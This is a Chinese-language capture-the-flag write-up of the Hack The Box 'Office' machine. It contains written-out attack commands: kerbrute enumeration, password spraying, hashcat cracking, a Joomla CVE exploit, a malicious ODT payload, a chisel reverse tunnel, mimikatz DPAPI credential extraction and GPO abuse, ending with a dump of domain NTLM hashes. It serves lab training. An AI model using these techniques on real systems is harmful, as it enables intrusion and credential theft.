扫描靶机
nmap -sC -sV -T4 -Pn 10.10.11.3
有很多常用的端口,包括88、80跟smb等等,把office.htb写到hosts,然后打开
右边有个登陆窗口,万能密码不能用,扫描一下目录
拿到了Admin的地址了,直接进去可以看到一个joomla cms
可以扫描一下这个cms的版本
在http://office.htb/administrator/manifests/files/joomla.xml这个路径可以拿到该cms的版本是4.2.7版本,可以使用这个CVE-2023-23752
成功拿到了数据库的用户名跟密码,尝试使用这个密码登陆页面
看来不是这个密码,那就使用AS-REP攻击,使用kerbrute工具枚举用户名
./kerbrute_linux_arm64 userenum --dc dc.office.htb -d office.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
fuzz出一堆用户了,将他们保存,然后测试一下哪个能登陆smb,用cme工具,密码是用joomla得到的密码
crackmapexec smb 10.10.11.3 -u users.txt -p 'H0lOgrams4reTakIng0Ver754!' --shares
枚举出了dwolfe用户可以登陆到smb里面,直接使用smbclient登陆进去
smbclient \\10.10.11.3\'SOC Analysis' -U dwolfe -L
里面有个pcap文件,下载后用wireshark打开看看
拉到底下可以看到嗅探到了krb5协议的数据包,在里面找到kerberos协议的请求,在cipher那里那里可以看到hash的类型,可以参考这篇文章
https://vbscrub.com/2020/02/27/getting-passwords-from-kerberos-pre-authentication-packets/
根据文章的说明该hash是krb类型的,前面是krb5是哈希的类型,18是哈希的长度,tstark是用户名,在数据包里面可以看到,后面OFFICE.HTB是地址
$krb5pa$18$tstark$OFFICE.HTB$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc
接下来直接使用hashcat进行破解
hashcat -m 19900 hash.txt /home/ioi/rockyou.txt
破解出来了密码,是playboy69,感觉这密码好像有点别扭,,,用来尝试使用登陆joomla cms
成功登陆进去了,老套路了,修改网页的文件
修改了直接反弹shell
拿到shell,生成一个msf的马子,在msf上线一个会话
拿到一个会话后,迁移一个进程,然后上传RunAScs工具或者使用runas模块提权一个账户
成功拿到了user flag,输入netstat命令查看一下后台端口
有个8083端口,将它代理出来,看看是干嘛的用msf自带的端口转发,或者使用chisel都行,我选择chisel,速度稳一点
chisel server --port 1133 --reverse
.chisel.exe client 10.10.14.8:1133 R:8083:127.0.0.1:8083
成功代理出来了,然后打开看看
又是另外的一个网站,点击Submit Application那里转到另外页面
可以看到这个是上传简历的页面,用来提交工作申请,就是找工作,随便上传一个
看来出现了错误,有规定的格式,那就制作一个odt文件上传,可以使用这个POC:CVE-2023-2255,在GitHub里面有
python3 CVE-2023-2255.py --cmd 'C:UsersPubliccxk.exe' --output cxk.odt
上传成功后,安静的等待autobot运行(等太久了,直接拿记录了)
现在拿了ppotts用户,有两个方法拿 Asministrator
非预期打法
在msf使用exploit/multi/mysql/mysql_udf_payload,将目标的3306端口转发到本地
设置好参数,直接运行
成功反弹shell,然后输入whoami /priv,查看可以提权的方法
SeImpersonatePrivilege参数设置enable了,直接使用土豆提权
这样成功拿到了root flag
预期打法
前提是拿到了ppotts用户,输入cmdkey /list列出所有存储的凭据,可以参考这篇文章
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords
可以看到另外用户hhogan的凭据信息
也可以通过mimikatz来获取,输入vault::list
mimikatz # vault::list
Vault : {4bf4c442-9b8a-41a0-b380-dd4a704ddb28}
Name : Web Credentials
Path : C:UsersPPottsAppDataLocalMicrosoftVault4BF4C442-9B8A-41A0-B380-DD4A704DDB28
Items (0)
Vault : {77bc582b-f0a6-4e15-4e80-61736b6f3b29}
Name : Windows Credentials
Path : C:UsersPPottsAppDataLocalMicrosoftVault
Items (1)
(null)
Type : {3e0e35be-1b77-43e7-b873-aed901b6275b}
LastWritten : 1/18/2024 11:53:30 AM
Flags : 00002004
Ressource : [STRING] Domain:interactive=officehhogan
Identity : [STRING] officehhogan
Authenticator :
PackageSid :
[BYTE*] :
Domain Password ***
成功列出了ppotts用的windows凭据保管库内容,并且发现了windows credentials的凭据,关联到了hhogan用户,然后寻找masterkey文件利用dir找到的credentials
可以看到有三个不同cred,输入mimikatz命,然后解密可以参考这篇文章,输入dpapi::cred模块来解密存储在Windows数据保护API(DPAPI)下的凭据,尝试解密位于PPotts用户的Credentials目录下的一个加密凭据文件
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials
dpapi::cred /in:C:UsersPPottsAppDataRoamingMicrosoftCredentials18A1927A997A794B65E9849883AC3F3E
dpapi::cred /in:C:UsersPPottsAppDataRoamingMicrosoftCredentials84F1CAEEBF466550F4967858F9353FB4
dpapi::cred /in:C:UsersPPottsAppDataRoamingMicrosoftCredentialsE76CCA3670CD9BB98DF79E0A8D176F1E
列出位于C:UsersppottsAppDataRoamingMicrosoftProtect目录下的所有项目,包括文件和子目录注意的是这个uid要看时间,选最后那个才行,接下来根据GitHub里面的进行拿密码,先寻找useruid
powershell Get-ChildItem C:UsersppottsAppDataRoamingMicrosoftProtect
继续列出位于特定用户(ppotts)的MicrosoftProtect目录下的所有隐藏项目,包括文件和子目录,包含了一个SID(安全标识符)
powershell Get-ChildItem -Hidden C:UsersppottsAppDataRoamingMicrosoftProtectS-1-5-21-1199398058-4196589450-691661856-1107
使用dpapi::masterkey模块解密并显示指定路径下DPAPI(Data Protection API)Master Key的内容
mimikatz
dpapi::masterkey /in:"C:UsersPPottsAppDataRoamingMicrosoftProtectS-1-5-21-1199398058-4196589450-691661856-1107191d3f9d-7959-4b4d-a520-a444853c47eb"
使用dpapi::masterkey模块解密并显示指定路径下DPAPI(Data Protection API)Master Key的内容
dpapi::cache
dpapi::cred /in:C:UsersPPottsAppDataRoamingMicrosoftCredentials84F1CAEEBF466550F4967858F9353FB4
成功拿到密码H4ppyFtW183#,尝试进入使用winrm登陆
evil-winrm -i office.htb -u HHogan -p 'H4ppyFtW183#'
接下来寻找提权的方法,先上传Bloodhound得到整个AD思路
bloodhound-python -c ALL -u tstark -p 'playboy69' -d office.htb -dc dc.office.htb -ns 10.129.142.217
从上面的图可以看到‘[email protected]’指向另一个组‘GPO [email protected]’并标有MemberOf‘,说明了HHogan是该组的成员,作为GPO Managers组的成员,HHogan用户可能被授予了修改、创建或链接组策略对象的权限,因为GPO [email protected] 这个组是 AD中的一个安全组,通常包含有权限管理组策略对象(GPOs)的用户,分析可以利用其对GPO的权限来执行横向移动,先输入这段命令列出当前Active Directory环境中所有GPO的显示名称,可以参考这篇文章
https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/gpo-abuse
Get-GPO -All | Select-Object -ExpandProperty DisplayName
然后使用SharpGPOAbuse.exe工具在Active Directory环境中通过修改“Default Domain Controllers Policy”这个组策略对象,将HHogan用户账户添加为所有受此GPO影响的域控制器的本地管理员,这可以让HHogan用户获得对这些域控制器的高级访问权限
.SharpGPOAbuse.exe --AddLocalAdmin --UserAccount HHogan --GPOName "Default Domain Controllers Policy"
输入这段命令强制立即更新组策略设置,再查看一下hhogan用户属性,在admin里面
gpupdate /force
确认在admin组后直接进入admin拿root flag
直接新建一个用户,登陆的也是admin权限
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f5b4f1e96c7ffca801ed5832e5e9105d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:bdf51241ff49f8a2169bba26be8494ed:::
PPotts:1107:aad3b435b51404eeaad3b435b51404ee:b33adc3d2cc514aa321eec4366e6e778:::
HHogan:1108:aad3b435b51404eeaad3b435b51404ee:6a626de046afdb1ece5118d54649b347:::
EWhite:1109:aad3b435b51404eeaad3b435b51404ee:385b9b3fde7b0043a57628581d0ca79b:::
etower:1110:aad3b435b51404eeaad3b435b51404ee:b0281fa65adf3d6efbefde882d592379:::
dwolfe:1111:aad3b435b51404eeaad3b435b51404ee:04e1dc0b00ea7c7c4246eb9f46fa29dd:::
dmichael:1112:aad3b435b51404eeaad3b435b51404ee:5ddea8fee3355c5492d4c2a07c73f7d3:::
dlanor:1113:aad3b435b51404eeaad3b435b51404ee:8a3594633f2175cf1b74776d1ef0c7a8:::
tstark:1114:aad3b435b51404eeaad3b435b51404ee:89ff936c3824c0ece9003332532e6a23:::
web_account:1118:aad3b435b51404eeaad3b435b51404ee:4bd10b00cf88e55d444099f25ea8de25:::
cxkyyds:8101:aad3b435b51404eeaad3b435b51404ee:dc8d19f0bdf7aeaea106a9d0a8685eb6:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:0ddf0e8e5b48cf2085a16e86c1a3bf49:::
原文始发于微信公众号(Jiyou too beautiful):HTB-Office笔记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论